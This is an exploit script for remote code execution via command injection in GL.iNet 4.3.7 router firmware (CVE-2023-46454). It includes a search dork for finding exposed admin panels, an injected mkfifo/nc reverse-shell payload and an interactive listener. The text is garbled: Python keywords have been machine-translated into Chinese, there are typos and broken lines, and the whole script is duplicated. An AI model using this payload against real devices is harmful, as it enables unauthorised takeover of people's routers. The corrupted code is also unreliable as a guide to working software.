#!/usr/bin/env Python3
#利用title: gl.inet=4.3.7通过OpenVPN客户端执行远程代码
#Google Dork: Intitle:'gl.Inet管理面板'
#日期: XX/11/2023
#利用作者: Michele'Cyberaz0r'di bonaventura
#供应商homepage3360 https://www.gli-net.com
#软件link: https://fw.gl-inet.com/firmware/ar300m/nand/release4/openwrt-ar300m-4.3.7-0913-1694589403.tar
#版本: 4.3.7
#测试在: GL.Inet AR300M
#CVE: CVE-2023-46454
导入套接字
导入请求
导入阅读线
从时间进口睡眠
从随机导入randint
从系统导入的stdout,argv
从线程导入线程
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.insecurreequestwarning)
def trigger_revshell(url,auth_token,有效载荷):
睡眠(0.25)
数据={
'jsonrpc':'2.0',
'id': Randint(1000,9999),
'Method':'呼叫',
'params': [
auth_token,
“插件”,
'get_package_info',
{'name':'bas {} e-files'.format(有效载荷)}
这是给出的
}
requests.post(url,json=data,verify=false)
def get_command_response(s):
res=''
而true:
TRY:
resp=s.recv(1).decode('utf-8')
res +=res
除非Unicodedecodeerror:
经过
除了socket.TimeOut:
休息
返回res
DEF REVSHELL_LISTEN(REVSHELL_IP,REVSHELL_PORT):
s=socket.socket(socket.af_inet,socket.sock_stream)
S.SetTimeOut(5)
TRY:
s.bind((RevShell_ip,int(RevShell_port)))
S.Listen(1)
除异常外,E:
brint('[x]异常'{}'在绑定反向shell'.format(type(e).__ name __)时遇到
出口(1)
TRY:
clsock,claddr=s.accept()
clsock.setTimeout(2)
如果Clsock:
print('[+]从{}} : {},loes;)'。格式(caddr [0],claddr [1]))打印('[+]接收反向外壳连接
res=''
而true:
命令=输入('$')
clsock.sendall('{} \ n'.format(命令).encode('utf-8'))
stdout.write(get_command_response(clsock))
除了socket.TimeOut:
打印('[ - ]在5秒内未收到连接,可能服务器并不容易受到攻击.')
s.close()
除了键盘Interrupt:
打印('\ n [*]关闭连接')
TRY:
clsock.close()
除了socket.Error:
经过
除了名称Error:
经过
s.close()
def main(base_url,auth_token,revshell_ip,revshell_port):
print('[+]开始gl.inet=4.3.7 RCE漏洞利用')
有效载荷='$(rm /tmp /f; mkfifo /tmp /f; cat /tmp /f | sh -i 21 | nc {} {} {} {} /tmp/f)
print('[+]反向外壳有效:'{}''。格式(有效载荷))
打印('[*]触发反向外壳连接')
线程(target=trigger_revshell,args=(base_url+'/rpc',auth_token,有效载荷))。开始()
print('[*]在{} : {}'。格式(RevShell_ip,revshell_port)上启动反向外壳)
RevShell_listen(RevShell_ip,RevShell_port)
打印('[+]完成')
如果name=='__ -Main __':
如果Len(argv)5:
print('USAGE: {} target_url auth_token revshell_ip revshell_port'.format(argv [0]))
出口(1)
main(argv [1],argv [2],argv [3],argv [4])
#利用title: gl.inet=4.3.7通过OpenVPN客户端执行远程代码
#Google Dork: Intitle:'gl.Inet管理面板'
#日期: XX/11/2023
#利用作者: Michele'Cyberaz0r'di bonaventura
#供应商homepage3360 https://www.gli-net.com
#软件link: https://fw.gl-inet.com/firmware/ar300m/nand/release4/openwrt-ar300m-4.3.7-0913-1694589403.tar
#版本: 4.3.7
#测试在: GL.Inet AR300M
#CVE: CVE-2023-46454
导入套接字
导入请求
导入阅读线
从时间进口睡眠
从随机导入randint
从系统导入的stdout,argv
从线程导入线程
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.insecurreequestwarning)
def trigger_revshell(url,auth_token,有效载荷):
睡眠(0.25)
数据={
'jsonrpc':'2.0',
'id': Randint(1000,9999),
'Method':'呼叫',
'params': [
auth_token,
“插件”,
'get_package_info',
{'name':'bas {} e-files'.format(有效载荷)}
这是给出的
}
requests.post(url,json=data,verify=false)
def get_command_response(s):
res=''
而true:
TRY:
resp=s.recv(1).decode('utf-8')
res +=res
除非Unicodedecodeerror:
经过
除了socket.TimeOut:
休息
返回res
DEF REVSHELL_LISTEN(REVSHELL_IP,REVSHELL_PORT):
s=socket.socket(socket.af_inet,socket.sock_stream)
S.SetTimeOut(5)
TRY:
s.bind((RevShell_ip,int(RevShell_port)))
S.Listen(1)
除异常外,E:
brint('[x]异常'{}'在绑定反向shell'.format(type(e).__ name __)时遇到
出口(1)
TRY:
clsock,claddr=s.accept()
clsock.setTimeout(2)
如果Clsock:
print('[+]从{}} : {},loes;)'。格式(caddr [0],claddr [1]))打印('[+]接收反向外壳连接
res=''
而true:
命令=输入('$')
clsock.sendall('{} \ n'.format(命令).encode('utf-8'))
stdout.write(get_command_response(clsock))
除了socket.TimeOut:
打印('[ - ]在5秒内未收到连接,可能服务器并不容易受到攻击.')
s.close()
除了键盘Interrupt:
打印('\ n [*]关闭连接')
TRY:
clsock.close()
除了socket.Error:
经过
除了名称Error:
经过
s.close()
def main(base_url,auth_token,revshell_ip,revshell_port):
print('[+]开始gl.inet=4.3.7 RCE漏洞利用')
有效载荷='$(rm /tmp /f; mkfifo /tmp /f; cat /tmp /f | sh -i 21 | nc {} {} {} {} /tmp/f)
print('[+]反向外壳有效:'{}''。格式(有效载荷))
打印('[*]触发反向外壳连接')
线程(target=trigger_revshell,args=(base_url+'/rpc',auth_token,有效载荷))。开始()
print('[*]在{} : {}'。格式(RevShell_ip,revshell_port)上启动反向外壳)
RevShell_listen(RevShell_ip,RevShell_port)
打印('[+]完成')
如果name=='__ -Main __':
如果Len(argv)5:
print('USAGE: {} target_url auth_token revshell_ip revshell_port'.format(argv [0]))
出口(1)
main(argv [1],argv [2],argv [3],argv [4])